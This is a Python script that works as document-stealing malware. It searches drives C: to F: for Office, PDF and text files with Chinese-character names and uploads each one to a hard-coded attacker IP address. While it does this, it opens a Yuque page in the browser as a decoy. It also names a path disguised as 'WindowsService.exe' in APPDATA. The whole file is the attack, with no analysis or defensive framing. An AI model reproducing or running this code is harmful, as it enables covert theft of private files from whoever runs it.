import webbrowser
import threading
import os
import re
import threading
import requests

ATTACKER_IP = "47.120.32.25"
ATTACKER_PORT = 8081
FLASK_PORT = 8082
COPY_PATH = os.path.join(os.getenv('APPDATA'), 'WindowsService.exe')


SERVER_PORT = 8000
UPLOAD_URL = f"http://{ATTACKER_IP}:{SERVER_PORT}/upload"

# 要搜索的文件扩展名
FILE_EXTENSIONS = ['.docx', '.pdf', '.xls', '.xlsx',".txt"]

# 要搜索的目录
SEARCH_DIRECTORIES = ['C:\\', 'D:\\', 'E:\\', 'F:\\']

def contains_chinese(string):
    # 使用正则表达式检查字符串中是否包含中文字符
    return re.search('[\u4e00-\u9fff]', string) is not None

def find_sensitive_files():
    for directory in SEARCH_DIRECTORIES:
        for root, _, files in os.walk(directory):
            for file in files:
                if any(file.lower().endswith(ext) for ext in FILE_EXTENSIONS) and contains_chinese(file):
                    upload_file(os.path.join(root, file))

def upload_file(file_path):
    try:
        with open(file_path, 'rb') as file:
            response = requests.post(UPLOAD_URL, files={'file': file})
            if response.status_code == 200:
                print(f"Successfully uploaded {file_path}")
            else:
                print(f"Failed to upload {file_path}: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"Error uploading {file_path}: {e}")
    except Exception as e:
        print(f"Unexpected error uploading {file_path}: {e}")

def server_is_reachable():
    try:
        response = requests.get(f"http://{ATTACKER_IP}:{SERVER_PORT}")
        return response.status_code == 200
    except requests.exceptions.RequestException as e:
        print(f"Server not reachable: {e}")
        return False

def upload_files():
    if server_is_reachable():
        print("Searching for sensitive files...")
        find_sensitive_files()
    else:
        print("Cannot reach the server. Please check the server status and try again.")


def open_book():
    url = "https://www.yuque.com/gunbao/qo6bn1"
    webbrowser.open(url)   



if __name__ == "__main__":
    threading.Thread(target=open_book).start()
    threading.Thread(target=upload_files).start()
        

